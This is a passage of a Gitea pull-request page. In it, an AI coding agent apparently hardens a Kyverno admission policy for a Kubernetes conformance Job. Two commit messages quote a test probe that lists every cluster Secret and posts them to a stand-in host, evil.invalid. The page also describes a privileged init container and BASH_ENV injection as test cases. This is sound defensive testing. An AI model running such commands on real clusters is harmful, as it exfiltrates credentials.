alone is arbitrary code execution:** bash sources it before running a non-interactive script, and the runner's command *is* a bash script. - **`trigger-may-not-use-envfrom`** — a whole Secret as env, whose keys are nowhere in the Job. All four use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "**at least one** element matches", so a pattern-based init rule would have admitted the committed clone step *plus* an arbitrary second init container — fixture `second-initcontainer` exists because I nearly wrote it that way. Env **values** and the `valueFrom` source Secret are deliberately not constrained: values are legitimately environment-specific, and `conformance-runner` can already read this namespace's Secrets through its own RBAC. Names are the vector, because a name is what a program keys on. ## The real fix: the clone script left the Job Pinning `command` is worthless when the command is `/bin/bash -c` and the script arrives as `args` — a policy cannot tell the committed script from an attacker's, because both are just data. The logic now lives in the image at `/usr/local/bin/conformance-clone`, from `conformance/incluster/conformance-clone` (**agent 1's PR #18, which must merge before this template is usable**). **I had written a second copy of that script here and deleted it.** Two copies of the clone entrypoint — one baked into the image, one not — drifts into "the reviewed file is not the file that runs". I read theirs before deleting mine rather than assuming compatibility: the interface matches exactly (`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, baked clone target `/workspace/src` — which is what makes my `workingDir` correct — `TMPDIR`/`HOME` under `/workspace`), and both load-bearing guards survived the move: the `^[0-9a-f]{40}$` SHA check and `rev-parse HEAD == SHA`. Theirs is a superset — it also hard-fails a disagreeing `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` instead of honouring it. ## Also fixed: the committed `args` default could not run Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image, which ships no flux/promtool/kyverno/kustomize. Tracing `run.sh` gives the precise invariant — `requirement_scoped_dirs()` is layer-bounded **only** when `--layer` is given and is not `all`, and `offline_selected_dirs()` then filters to `/l0-static/|/l1-rendering/`: | args | offline selection | verdict | |---|---|---| | `--layer l2,l3` | empty | **RUNS** | | `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** | | `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** | | `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** | | `--layer all --strict-coverage` | every L0/L1 test | **FAILS** | So `--layer` is mandatory and must name only l2/l3. The default was one of the broken shapes and is now `["--layer", "l2,l3"]`. More importantly: **the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all** — a full-suite run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction needs to land in `ci/conformance.sh` (plan §3 item 4). The policy's args allowlist is deliberately **not** narrowed to match: a security boundary should not encode which toolchain an image happens to ship, and an allowed-but-unrunnable shape fails loudly rather than escalating. Recorded in the header so it reads as considered, not missed. ## Proven, not asserted (7 rules now) ``` real rendered template -> pass: 7, fail: 0 coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6 pass / 1 fail) ephemeralContainers probe -> fail on trigger-may-not-declare-... (6 pass / 1 fail) ``` Fixture matrix — 65 pass / 13 fail / 0 error / 0 skip: | resource | creat | vols | args | init | ephem | envnm | envfr | |---|---|---|---|---|---|---|---| | `real-template` | pass | pass | pass | pass | pass | pass | pass | | `good-run` | pass | pass | pass | — | pass | — | pass | | `evil-command` | **fail** | pass | — | — | pass | — | pass | | `evil-image` | **fail** | pass | — | — | pass | — | pass | | `tag-not-digest` | **fail** | pass | — | — | pass | — | pass | | `host-namespaces` | **fail** | pass | — | — | pass | — | pass | | `extra-volume` | pass | **fail** | — | — | pass | — | pass | | `injected-args` | pass | pass | **fail** | — | pass | — | pass | | `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass | | `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass | | `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass | | `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass | | `injected-env` | pass | pass | pass | — | pass | **fail** | pass | | `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass | | `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** | `—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Two rows to stare at: every evil init/ephemeral/env case **passes the three original rules** — that column is the whole finding. And `injected-initcontainer-env` **passes** the initContainer rule (correct image, correct pinned command, no args, non-root) while being hostile purely through `env` — which is why env had to be its own rule rather than a condition bolted onto the init rule. ## Two Kyverno traps, now commented in the rules Both silently invert the result, so they are worth knowing before editing this policy: - **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so ``allowPrivilegeEscalation || `true` `` rewrites the **compliant** value `false` into `true` and denies every good Job. - **`join(' ', command)` compared as a string**, not the array compared with `Equals`: Kyverno's `Equals`/`NotEquals` are unreliable on arrays, and element-wise matching lets `["/bin/sh","-c",…]` through on element 0. ## Still unverified - Nothing has executed against a cluster. **PR #18 must merge first** (the image digest), and Secret `conformance-git-readonly` still does not exist. - **Whether the API server accepts `ephemeralContainers` in a Job pod template at all.** Upstream the field is settable only through the `pods/ephemeralcontainers` subresource, but whether that check reaches a *nested pod template* is not something I could establish without a `create --dry-run=server` — a mutating request reserved to the operator (CLAUDE.md §5). The rule was added regardless: a no-op if upstream already rejects it, the same hole if not. - The env allowlists are derived from what the two programs read **today**. If either grows a new variable, admission denies the Job until the allowlist is widened in a reviewed change. That is the intended failure direction, but it is a coupling the next editor needs to know about, so the rule's message says so. ## Gate, re-run ``` lint green (404 files) · l0 green (kyverno test: 1 policy / 15 resources) render-golden green (10) · l1 green spec-immutability + gitea-settings SKIPPED MERGE GATE: UNDETERMINED — rc 3. Nothing FAILED. ``` 🤖 Generated with [Claude Code](https://claude.com/claude-code)
gitea-admin added 1 commit 2026-09-30 00:18:02 +00:00
feat(conformance): the in-cluster Job can now run a named commit and get its results out
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
d3d5f6d8d2
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
gitea-admin added 1 commit 2026-09-30 00:21:52 +00:00
docs(decisions-log): the approval-policy check this PR was expected to fail does not exist
gate / gate (pull_request) Successful in 1m37s
gate / conformance (pull_request) Has been skipped
f81967228d
I was briefed to expect CI to FAIL on an `approval-policy` check, because `conformance/**` is
security-relevant. Measured instead:

  grep -rn approval .gitea/workflows/            -> no match
  branches/main status_check_contexts            -> ['gate / gate (pull_request)']
  commits/<head>/statuses  gate / gate           -> success, "Successful in 1m36s"
                           gate / conformance    -> pending, "Blocked by required conditions"

The only required context is `gate / gate`, and it is green — and it genuinely ran (1m36s), so
this is not the skipped-Gitea-job-reports-success trap. There is no path-based approval policy
in CI anywhere in this repo. What blocks the merge is `required_approvals: 1` and the fact that
`gitea-admin` authors every agent PR and cannot self-approve — the control that returned HTTP
405 on PR #12.

Recording it because the PR body and the log entry both asserted the wrong blocker, and this
repo has been burned repeatedly by documentation that described a control nobody measured. A
change to the admission boundary under `conformance/**` is gated by a generic human approval,
not by anything that knows the path is security-relevant; if that is the intent, it is not
implemented.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
gitea-admin added 1 commit 2026-09-30 00:44:45 +00:00
fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
gate / gate (pull_request) Successful in 1m37s
gate / conformance (pull_request) Has been skipped
44dbd44333
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in DECISIONS-LOG. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
jakman85 approved these changes 2026-09-30 03:24:22 +00:00
Dismissed
gitea-admin force-pushed feat/conformance-job-template from 44dbd44333 to 11a74cce53 2026-09-30 03:53:19 +00:00 Compare
gitea-admin dismissed jakman85's review 2026-09-30 03:53:19 +00:00
Reason:

New commits pushed, approval review dismissed automatically according to repository settings

jakman85 approved these changes 2026-09-30 03:59:41 +00:00
Dismissed
gitea-admin force-pushed feat/conformance-job-template from 11a74cce53 to 0749562ad0 2026-09-30 04:07:20 +00:00 Compare
gitea-admin dismissed jakman85's review 2026-09-30 04:07:20 +00:00
Reason:

New commits pushed, approval review dismissed automatically according to repository settings

jakman85 approved these changes 2026-09-30 04:08:51 +00:00
jakman85 merged commit b93594b7c8 into main 2026-09-30 04:09:29 +00:00
Sign in to join this conversation.
No Reviewers
2 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: Home-Network/home-network-k3s-impl#20